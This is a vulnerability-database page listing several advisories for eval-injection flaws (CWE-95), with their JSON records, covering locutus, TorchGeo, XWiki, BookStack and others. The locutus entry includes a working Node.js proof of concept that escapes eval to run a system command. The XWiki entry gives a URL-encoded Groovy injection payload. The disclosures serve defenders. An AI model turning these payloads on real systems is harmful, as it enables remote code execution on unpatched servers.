CWE-95
AllowedImproper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
Abstraction: Variant · Status: Incomplete
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").
269 vulnerabilities reference this CWE, most recent first.
GHSA-FP25-P6MJ-QQG6
Vulnerability from github – Published: 2026-03-04 20:19 – Updated: 2026-03-06 22:44Details
A Remote Code Execution (RCE) flaw was discovered in the locutus project (v2.0.39), specifically within the call_user_func_array function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the call_user_func_array function (and its wrapper call_user_func), which fails to properly validate all components of a callback array before passing them to eval().
Technical Details
The vulnerability is in the call_user_func_array function in src/php/funchand/call_user_func_array.js, between lines 31 and 35 of version 2.0.39. This function mimics PHP's dynamic function call feature and accepts a callback argument, which can be a string (function name) or an array (class and method name).
The developers applied a regular expression check (validJSFunctionNamePattern) to the first array element (the class identifier), but not to the second element (the method identifier). As a result, the code inserts the user-supplied method name directly into the evaluation string: func = eval(cb[0] + "['" + cb[1] + "']"). This oversight allows an attacker to craft a payload in the second element that escapes the property access context, injects arbitrary JavaScript commands, and executes them with the full privileges of the Node.js process.
// src/php/funchand/call_user_func_array.js (Lines 31-35)
if (cb[0].match(validJSFunctionNamePattern)) {
// biome-ignore lint/security/noGlobalEval: needed for PHP port
func = eval(cb[0] + "['" + cb[1] + "']")
}
PoC
This PoC loads the vulnerable call_user_func_array implementation from Locutus and supplies a crafted callback argument that breaks out of the internal eval. The injected payload executes a system command and forces the function to fail validation, causing the command output to surface in the error message.
const path = require("path");
const fs = require("fs");
const vulnFilePath = path.resolve(
__dirname,
"./src/php/funchand/call_user_func_array.js"
);
if (!fs.existsSync(vulnFilePath)) {
console.error("error target file not found");
process.exit(1);
}
console.log("loading target");
const call_user_func_array = require(vulnFilePath);
const payload = "']; require('child_process').execSync('id').toString().trim(); //";
console.log("payload set");
try {
console.log("run");
call_user_func_array(["Date", payload], []);
console.log("fail no error");
} catch (e) {
const msg = e.message;
if (msg && msg.includes("uid=")) {
console.log("pwn");
const proof = msg.split(" is not a valid function")[0];
console.log("out " + proof);
} else {
console.error("fail unexpected");
console.error(msg);
process.exit(1);
}
}
Impact
If exploited, this issue allows attackers to execute arbitrary JavaScript code in the Node.js process. It occurs when applications pass untrusted array callbacks to call_user_func_array(), a practice common in JSON-RPC setups and PHP-to-JavaScript porting layers. Since the library fails to properly sanitize inputs, this is considered a supplier defect rather than an integration error.
This flaw has been exploited in practice, but it is not a "drive-by" vulnerability. It only arises when an application serves as a gateway or router using Locutus functions.
Finally, if an attacker can control cb[0] without regex constraints, they could use global or process directly. However, Locutus protects cb[0]. This cb[1] injection is the only way to bypass the intended security controls of the library. It is a "bypass" of the library's own protection.
Remediation
Update the loop to capture the value correctly or use the index to reference the slice directly.
// src/php/funchand/call_user_func_array.js (Lines 31-35)
if (typeof cb[0] === "string") {
if (cb[0].match(validJSFunctionNamePattern)) {
// biome-ignore lint/security/noGlobalEval: needed for PHP port
// func = eval(cb[0] + "['" + cb[1] + "']");
var obj = null;
try {
obj = eval(cb[0]);
} catch (e) {}
if (obj && typeof obj[cb[1]] === "function") {
func = obj[cb[1]];
}
}
} else {
func = cb[0][cb[1]];
}
return func.apply(null, parameters);
And maybe after a better remediations is refactor call_user_func_array to resolve global objects using global[cb[0]] or window[cb[0]].
Resources
https://cwe.mitre.org/data/definitions/95.html
https://github.com/locutusjs/locutus/blob/main/src/php/funchand/call_user_func_array.js#L31
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!
Author: Tomas Illuminati
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.39"
},
"package": {
"ecosystem": "npm",
"name": "locutus"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-29091"
],
"database_specific": {
"cwe_ids": [
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-04T20:19:55Z",
"nvd_published_at": "2026-03-06T18:16:20Z",
"severity": "HIGH"
},
"details": "### Details\n\nA Remote Code Execution (RCE) flaw was discovered in the `locutus` project (v2.0.39), specifically within the `call_user_func_array` function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application\u0027s runtime environment. This issue stems from an insecure implementation of the `call_user_func_array` function (and its wrapper `call_user_func`), which fails to properly validate all components of a callback array before passing them to `eval()`.\n\n------\n\n### Technical Details\n\nThe vulnerability is in the `call_user_func_array` function in `src/php/funchand/call_user_func_array.js`, between lines 31 and 35 of version 2.0.39. This function mimics PHP\u0027s dynamic function call feature and accepts a callback argument, which can be a string (function name) or an array (class and method name).\n\nThe developers applied a regular expression check (`validJSFunctionNamePattern`) to the first array element (the class identifier), but not to the second element (the method identifier). As a result, the code inserts the user-supplied method name directly into the evaluation string: `func = eval(cb[0] + \"[\u0027\" + cb[1] + \"\u0027]\")`. This oversight allows an attacker to craft a payload in the second element that escapes the property access context, injects arbitrary JavaScript commands, and executes them with the full privileges of the Node.js process.\n\n``````javascript\n// src/php/funchand/call_user_func_array.js (Lines 31-35)\n\nif (cb[0].match(validJSFunctionNamePattern)) {\n // biome-ignore lint/security/noGlobalEval: needed for PHP port\n func = eval(cb[0] + \"[\u0027\" + cb[1] + \"\u0027]\")\n}\n``````\n\n-----\n\n### PoC\n\nThis PoC loads the vulnerable call_user_func_array implementation from Locutus and supplies a crafted callback argument that breaks out of the internal eval. The injected payload executes a system command and forces the function to fail validation, causing the command output to surface in the error message.\n\n``````go\nconst path = require(\"path\");\nconst fs = require(\"fs\");\n\nconst vulnFilePath = path.resolve(\n __dirname,\n \"./src/php/funchand/call_user_func_array.js\"\n);\n\nif (!fs.existsSync(vulnFilePath)) {\n console.error(\"error target file not found\");\n process.exit(1);\n}\n\nconsole.log(\"loading target\");\nconst call_user_func_array = require(vulnFilePath);\n\nconst payload = \"\u0027]; require(\u0027child_process\u0027).execSync(\u0027id\u0027).toString().trim(); //\";\n\nconsole.log(\"payload set\");\n\ntry {\n console.log(\"run\");\n call_user_func_array([\"Date\", payload], []);\n console.log(\"fail no error\");\n} catch (e) {\n const msg = e.message;\n if (msg \u0026\u0026 msg.includes(\"uid=\")) {\n console.log(\"pwn\");\n const proof = msg.split(\" is not a valid function\")[0];\n console.log(\"out \" + proof);\n } else {\n console.error(\"fail unexpected\");\n console.error(msg);\n process.exit(1);\n }\n}\n``````\n\n-----\n\n### Impact\n\nIf exploited, this issue allows attackers to execute arbitrary JavaScript code in the Node.js process. It occurs when applications pass untrusted array callbacks to call_user_func_array(), a practice common in JSON-RPC setups and PHP-to-JavaScript porting layers. Since the library fails to properly sanitize inputs, this is considered a supplier defect rather than an integration error.\n\nThis flaw has been exploited in practice, but it is not a \"drive-by\" vulnerability. It only arises when an application serves as a gateway or router using Locutus functions.\n\nFinally, if an attacker can control `cb[0]` without regex constraints, they could use `global` or `process` directly. However, Locutus protects `cb[0]`. This `cb[1]` injection is the *_only_* way to bypass the intended security controls of the library. It is a \"bypass\" of the library\u0027s own protection.\n\n------\n\n### Remediation\n\nUpdate the loop to capture the value correctly or use the index to reference the slice directly.\n\n``````go\n// src/php/funchand/call_user_func_array.js (Lines 31-35)\n\nif (typeof cb[0] === \"string\") {\n if (cb[0].match(validJSFunctionNamePattern)) {\n // biome-ignore lint/security/noGlobalEval: needed for PHP port\n // func = eval(cb[0] + \"[\u0027\" + cb[1] + \"\u0027]\");\n var obj = null;\n try {\n obj = eval(cb[0]);\n } catch (e) {}\n if (obj \u0026\u0026 typeof obj[cb[1]] === \"function\") {\n func = obj[cb[1]];\n }\n }\n} else {\n func = cb[0][cb[1]];\n}\nreturn func.apply(null, parameters);\n``````\n\nAnd maybe after a better remediations is refactor `call_user_func_array` to resolve global objects using `global[cb[0]]` or `window[cb[0]]`.\n\n----\n\n### Resources\nhttps://cwe.mitre.org/data/definitions/95.html\n\nhttps://github.com/locutusjs/locutus/blob/main/src/php/funchand/call_user_func_array.js#L31\n\nhttps://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!\n\n-----\n\n**Author**: Tomas Illuminati",
"id": "GHSA-fp25-p6mj-qqg6",
"modified": "2026-03-06T22:44:25Z",
"published": "2026-03-04T20:19:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/locutusjs/locutus/security/advisories/GHSA-fp25-p6mj-qqg6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29091"
},
{
"type": "WEB",
"url": "https://github.com/locutusjs/locutus/commit/977a1fb169441e35996a1d2465b512322de500ad"
},
{
"type": "WEB",
"url": "https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval"
},
{
"type": "PACKAGE",
"url": "https://github.com/locutusjs/locutus"
},
{
"type": "WEB",
"url": "https://github.com/locutusjs/locutus/blob/main/src/php/funchand/call_user_func_array.js#L31"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "locutus call_user_func_array vulnerable to Remote Code Execution (RCE) due to Code Injection"
}
GHSA-FQGC-XGGW-MH6H
Vulnerability from github – Published: 2023-03-08 03:30 – Updated: 2023-03-15 15:30The webservices in Proofpoint Enterprise Protection (PPS/POD) contain a vulnerability that allows for an anonymous user to execute remote code through 'eval injection'. Exploitation requires network access to the webservices API, but such access is a non-standard configuration. This affects all versions 8.20.0 and below.
{
"affected": [],
"aliases": [
"CVE-2023-0090"
],
"database_specific": {
"cwe_ids": [
"CWE-94",
"CWE-95"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-08T01:15:00Z",
"severity": "CRITICAL"
},
"details": "The webservices in Proofpoint Enterprise Protection (PPS/POD) contain a vulnerability that allows for an anonymous user to execute remote code through \u0027eval injection\u0027. Exploitation requires network access to the webservices API, but such access is a non-standard configuration. This affects all versions 8.20.0 and below.",
"id": "GHSA-fqgc-xggw-mh6h",
"modified": "2023-03-15T15:30:23Z",
"published": "2023-03-08T03:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0090"
},
{
"type": "WEB",
"url": "https://www.proofpoint.com/security/security-advisories/pfpt-sa-2023-0001"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G2M8-F3X2-QPRW
Vulnerability from github – Published: 2024-09-12 15:33 – Updated: 2024-09-23 19:11An arbitrary code execution vulnerability exists in versions 0.0.8 and newer of the Refuel Autolabel library because of the way its classification tasks handle provided CSV files. If a victim user creates a classification task using a maliciously crafted CSV file containing Python code, the code will be passed to an eval function which executes it.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "refuel-autolabel"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.8"
},
{
"last_affected": "0.0.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-27320"
],
"database_specific": {
"cwe_ids": [
"CWE-1236",
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-12T19:49:53Z",
"nvd_published_at": "2024-09-12T13:15:11Z",
"severity": "HIGH"
},
"details": "An arbitrary code execution vulnerability exists in versions 0.0.8 and newer of the Refuel Autolabel library because of the way its classification tasks handle provided CSV files. If a victim user creates a classification task using a maliciously crafted CSV file containing Python code, the code will be passed to an eval function which executes it.",
"id": "GHSA-g2m8-f3x2-qprw",
"modified": "2024-09-23T19:11:59Z",
"published": "2024-09-12T15:33:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27320"
},
{
"type": "PACKAGE",
"url": "https://github.com/refuel-ai/autolabel"
},
{
"type": "WEB",
"url": "https://github.com/refuel-ai/autolabel/blob/v0.0.16/src/autolabel/dataset/validation.py#L57-L79"
},
{
"type": "WEB",
"url": "https://hiddenlayer.com/sai-security-advisory/2024-09-autolabel"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Refuel Autolab Eval Injection vulnerability"
}
GHSA-G8WG-HGHG-26M2
Vulnerability from github – Published: 2025-12-12 21:31 – Updated: 2025-12-15 21:30An injection issue was addressed with improved validation. This issue is fixed in macOS Tahoe 26.1. An app may be able to access sensitive user data.
{
"affected": [],
"aliases": [
"CVE-2025-43388"
],
"database_specific": {
"cwe_ids": [
"CWE-95"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-12T21:15:53Z",
"severity": "LOW"
},
"details": "An injection issue was addressed with improved validation. This issue is fixed in macOS Tahoe 26.1. An app may be able to access sensitive user data.",
"id": "GHSA-g8wg-hghg-26m2",
"modified": "2025-12-15T21:30:29Z",
"published": "2025-12-12T21:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43388"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/125634"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G9RQ-X4FJ-F5HX
Vulnerability from github – Published: 2020-03-13 20:21 – Updated: 2021-01-08 21:18Impact
A user could upload PHP files through image upload functions, which would allow them to execute code on the host system remotely. They would then have the permissions of the PHP process.
This most impacts scenarios where non-trusted users are given permission to upload images in any area of the application.
Patches
The issue was addressed in a series of patches: v0.25.3, v0.25.4 and v0.25.5. Users should upgrade to at least v0.25.5 to avoid this patch but ideally the latest BookStack version as previous versions are un-supported.
Workarounds
Depending on BookStack version, you could use the local_secure image storage option, or use s3 or a similar compatible service.
Preventing direct execution of any php files, apart from the public/index.php file, though web-server configuration would also prevent this.
References
BookStack Beta v0.25.3 BookStack Beta v0.25.4 BookStack Beta v0.25.5
For more information
If you have any questions or comments about this advisory: * Open an issue in the BookStack GitHub repository. * Ask on the BookStack Discord chat. * Follow the BookStack Security advise to contact someone privately.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 0.25.3"
},
"package": {
"ecosystem": "Packagist",
"name": "ssddanbrown/bookstack"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.25.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-5256"
],
"database_specific": {
"cwe_ids": [
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2020-03-13T20:20:25Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\nA user could upload PHP files through image upload functions, which would allow them to execute code on the host system remotely. They would then have the permissions of the PHP process.\n\nThis most impacts scenarios where non-trusted users are given permission to upload images in any area of the application. \n\n### Patches\n\nThe issue was addressed in a series of patches: v0.25.3, v0.25.4 and v0.25.5.\nUsers should upgrade to at least v0.25.5 to avoid this patch but ideally the latest BookStack version as previous versions are un-supported.\n\n### Workarounds\n\nDepending on BookStack version, you could use the [local_secure](https://www.bookstackapp.com/docs/admin/upload-config/#local-secure) image storage option, or use s3 or a similar compatible service.\n\nPreventing direct execution of any `php` files, apart from the `public/index.php` file, though web-server configuration would also prevent this.\n\n### References\n\n[BookStack Beta v0.25.3](https://github.com/BookStackApp/BookStack/releases/tag/v0.25.3)\n[BookStack Beta v0.25.4](https://github.com/BookStackApp/BookStack/releases/tag/v0.25.4)\n[BookStack Beta v0.25.5](https://github.com/BookStackApp/BookStack/releases/tag/v0.25.5)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [the BookStack GitHub repository](BookStackApp/BookStack/issues).\n* Ask on the [BookStack Discord chat](https://discord.gg/ztkBqR2).\n* Follow the [BookStack Security advise](https://github.com/BookStackApp/BookStack#-security) to contact someone privately.",
"id": "GHSA-g9rq-x4fj-f5hx",
"modified": "2021-01-08T21:18:55Z",
"published": "2020-03-13T20:21:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/BookStackApp/BookStack/security/advisories/GHSA-g9rq-x4fj-f5hx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5256"
},
{
"type": "WEB",
"url": "https://github.com/BookStackApp/BookStack/releases/tag/v0.25.3"
},
{
"type": "WEB",
"url": "https://github.com/BookStackApp/BookStack/releases/tag/v0.25.4"
},
{
"type": "WEB",
"url": "https://github.com/BookStackApp/BookStack/releases/tag/v0.25.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Remote Code Execution Through Image Uploads in BookStack"
}
GHSA-GHQ9-VC6F-8QJF
Vulnerability from github – Published: 2026-04-01 00:03 – Updated: 2026-04-01 00:03Impact
TorchGeo 0.4–0.6.0 used an eval statement in its model weight API that could allow an unauthenticated, remote attacker to execute arbitrary commands. All platforms that expose torchgeo.models.get_weight() or torchgeo.trainers as an external API could be affected.
Patches
The eval statement was replaced with a fixed enum lookup, preventing arbitrary code injection. All users are encouraged to upgrade to TorchGeo 0.6.1 or newer.
Workarounds
In unpatched versions, input validation and sanitization can be used to avoid this vulnerability.
References
Bug history
- Introduced: https://github.com/torchgeo/torchgeo/pull/917
- Patched: https://github.com/torchgeo/torchgeo/pull/2323
- Released: v0.6.1
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.6.0"
},
"package": {
"ecosystem": "PyPI",
"name": "torchgeo"
},
"ranges": [
{
"events": [
{
"introduced": "0.4"
},
{
"fixed": "0.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-49048"
],
"database_specific": {
"cwe_ids": [
"CWE-94",
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T00:03:56Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\nTorchGeo 0.4\u20130.6.0 used an [`eval`](https://docs.python.org/3/library/functions.html#eval) statement in its model weight API that could allow an unauthenticated, remote attacker to execute arbitrary commands. All platforms that expose [`torchgeo.models.get_weight()`](https://torchgeo.readthedocs.io/en/v0.6.0/api/models.html#torchgeo.models.get_weight) or [`torchgeo.trainers`](https://torchgeo.readthedocs.io/en/v0.6.0/api/trainers.html) as an external API could be affected.\n\n### Patches\n\nThe `eval` statement was replaced with a fixed enum lookup, preventing arbitrary code injection. All users are encouraged to upgrade to TorchGeo 0.6.1 or newer.\n\n### Workarounds\n\nIn unpatched versions, input validation and sanitization can be used to avoid this vulnerability.\n\n### References\n\n#### Bug history\n\n* Introduced: https://github.com/torchgeo/torchgeo/pull/917\n* Patched: https://github.com/torchgeo/torchgeo/pull/2323\n* Released: [v0.6.1](https://github.com/microsoft/torchgeo/releases/tag/v0.6.1)",
"id": "GHSA-ghq9-vc6f-8qjf",
"modified": "2026-04-01T00:03:56Z",
"published": "2026-04-01T00:03:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/torchgeo/torchgeo/security/advisories/GHSA-ghq9-vc6f-8qjf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49048"
},
{
"type": "WEB",
"url": "https://github.com/torchgeo/torchgeo/pull/2323"
},
{
"type": "WEB",
"url": "https://github.com/torchgeo/torchgeo/pull/917"
},
{
"type": "WEB",
"url": "https://github.com/torchgeo/torchgeo/commit/1a980788cb7089a1115f3b786c7daa9dd47d7d7a"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/torchgeo/releases/tag/v0.6.1"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/torchgeo/PYSEC-2024-204.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/torchgeo/torchgeo"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49048"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "TorchGeo Remote Code Execution Vulnerability"
}
GHSA-GWJ6-XPFG-PXWR
Vulnerability from github – Published: 2025-09-08 20:59 – Updated: 2025-09-10 21:05Impact
The blog application in XWiki allowed remote code execution for any user who has edit right on any page. Normally, these are all logged-in users as they can edit their own user profile. To exploit, it is sufficient to add an object of type Blog.BlogPostClass to any page and to add some script macro with the exploit code to the "Content" field of that object.
Patches
The vulnerability has been patched in the blog application version 9.14 by executing the content of blog posts with the rights of the appropriate author.
Workarounds
We're not aware of any workarounds.
Resources
- https://jira.xwiki.org/browse/BLOG-191
- https://github.com/xwiki-contrib/application-blog/commit/b98ab6f17da3029576f42d12b4442cd555c7e0b4
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.contrib.blog:application-blog-ui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58365"
],
"database_specific": {
"cwe_ids": [
"CWE-250",
"CWE-94",
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-08T20:59:47Z",
"nvd_published_at": "2025-09-08T22:15:34Z",
"severity": "HIGH"
},
"details": "### Impact\nThe blog application in XWiki allowed remote code execution for any user who has edit right on any page. Normally, these are all logged-in users as they can edit their own user profile. To exploit, it is sufficient to add an object of type `Blog.BlogPostClass` to any page and to add some script macro with the exploit code to the \"Content\" field of that object.\n\n### Patches\nThe vulnerability has been patched in the blog application version 9.14 by executing the content of blog posts with the rights of the appropriate author.\n\n### Workarounds\nWe\u0027re not aware of any workarounds.\n\n### Resources\n* https://jira.xwiki.org/browse/BLOG-191\n* https://github.com/xwiki-contrib/application-blog/commit/b98ab6f17da3029576f42d12b4442cd555c7e0b4",
"id": "GHSA-gwj6-xpfg-pxwr",
"modified": "2025-09-10T21:05:21Z",
"published": "2025-09-08T20:59:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki-contrib/application-blog/security/advisories/GHSA-gwj6-xpfg-pxwr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58365"
},
{
"type": "WEB",
"url": "https://github.com/xwiki-contrib/application-blog/commit/b98ab6f17da3029576f42d12b4442cd555c7e0b4"
},
{
"type": "PACKAGE",
"url": "https://github.com/xwiki-contrib/application-blog"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/BLOG-191"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "XWiki Blog Application: Privilege Escalation (PR) from account through blog content"
}
GHSA-H25W-QH4W-J2HF
Vulnerability from github – Published: 2024-01-08 15:30 – Updated: 2024-09-04 21:30OpenVPN Connect version 3.0 through 3.4.6 on macOS allows local users to execute code in external third party libraries using the DYLD_INSERT_LIBRARIES environment variable
{
"affected": [],
"aliases": [
"CVE-2023-7224"
],
"database_specific": {
"cwe_ids": [
"CWE-94",
"CWE-95"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-08T14:15:47Z",
"severity": "HIGH"
},
"details": "OpenVPN Connect version 3.0 through 3.4.6 on macOS allows local users to execute code in external third party libraries using the DYLD_INSERT_LIBRARIES environment variable",
"id": "GHSA-h25w-qh4w-j2hf",
"modified": "2024-09-04T21:30:30Z",
"published": "2024-01-08T15:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-7224"
},
{
"type": "WEB",
"url": "https://openvpn.net/vpn-server-resources/openvpn-connect-for-macos-change-log"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H4VP-69R8-GVJG
Vulnerability from github – Published: 2023-07-14 21:53 – Updated: 2023-07-14 21:53Impact
Improper escaping in the document SkinsCode.XWikiSkinsSheet leads to a possible privilege escalation from view right on that document to programming rights, or in other words, it is possible to execute arbitrary script macros including Groovy and Python macros that allow remote code execution including unrestricted read and write access to all wiki contents.
The attack works by opening a non-existing page with a name crafted to contain a dangerous payload.
It is possible to check if an existing installation is vulnerable by opening <xwiki-host>/xwiki/bin/view/%22%5D%5D%20%7B%7Basync%20async%3D%22true%22%20cached%3D%22false%22%20context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%20%22%20%2B%20%22from%20groovy!%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D?sheet=SkinsCode.XWikiSkinsSheet&xpage=view where <xwiki-host is the URL of the XWiki installation. The expected result are two list items with "Edit this skin" and "Test this skin" without any further text. If the installation is vulnerable, the second list item is "Test this skin Hello from groovy!.WebHome"]]". This shows that the Groovy macro has been executed.
Patches
This has been patched in XWiki 14.4.8, 14.10.4 and 15.0-rc-1.
Workarounds
The fix can also be applied manually to the impacted document SkinsCode.XWikiSkinsSheet.
References
- https://jira.xwiki.org/browse/XWIKI-20457
- https://github.com/xwiki/xwiki-platform/commit/d9c88ddc4c0c78fa534bd33237e95dea66003d29
For more information
If you have any questions or comments about this advisory: * Open an issue in Jira XWiki.org * Email us at Security Mailing List
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-skin-ui"
},
"ranges": [
{
"events": [
{
"introduced": "7.0-rc-1"
},
{
"fixed": "14.4.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-skin-ui"
},
"ranges": [
{
"events": [
{
"introduced": "14.5"
},
{
"fixed": "14.10.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-37462"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-14T21:53:52Z",
"nvd_published_at": "2023-07-14T21:15:08Z",
"severity": "CRITICAL"
},
"details": "### Impact\n\nImproper escaping in the document `SkinsCode.XWikiSkinsSheet` leads to a possible privilege escalation from view right on that document to programming rights, or in other words, it is possible to execute arbitrary script macros including Groovy and Python macros that allow remote code execution including unrestricted read and write access to all wiki contents.\n\nThe attack works by opening a non-existing page with a name crafted to contain a dangerous payload.\n\nIt is possible to check if an existing installation is vulnerable by opening `\u003cxwiki-host\u003e/xwiki/bin/view/%22%5D%5D%20%7B%7Basync%20async%3D%22true%22%20cached%3D%22false%22%20context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%20%22%20%2B%20%22from%20groovy!%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D?sheet=SkinsCode.XWikiSkinsSheet\u0026xpage=view` where \u003cxwiki-host is the URL of the XWiki installation. The expected result are two list items with \"Edit this skin\" and \"Test this skin\" without any further text. If the installation is vulnerable, the second list item is \"Test this skin Hello from groovy!.WebHome\"]]\". This shows that the Groovy macro has been executed.\n\n### Patches\n\nThis has been patched in XWiki 14.4.8, 14.10.4 and 15.0-rc-1.\n\n### Workarounds\n\nThe [fix](https://github.com/xwiki/xwiki-platform/commit/d9c88ddc4c0c78fa534bd33237e95dea66003d29) can also be applied manually to the impacted document `SkinsCode.XWikiSkinsSheet`.\n\n### References\n\n* https://jira.xwiki.org/browse/XWIKI-20457\n* https://github.com/xwiki/xwiki-platform/commit/d9c88ddc4c0c78fa534bd33237e95dea66003d29\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)\n",
"id": "GHSA-h4vp-69r8-gvjg",
"modified": "2023-07-14T21:53:52Z",
"published": "2023-07-14T21:53:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-h4vp-69r8-gvjg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37462"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/commit/d9c88ddc4c0c78fa534bd33237e95dea66003d29"
},
{
"type": "PACKAGE",
"url": "https://github.com/xwiki/xwiki-platform"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-20457"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "org.xwiki.platform:xwiki-platform-skin-ui Eval Injection vulnerability"
}
GHSA-H57C-V2V3-5V3V
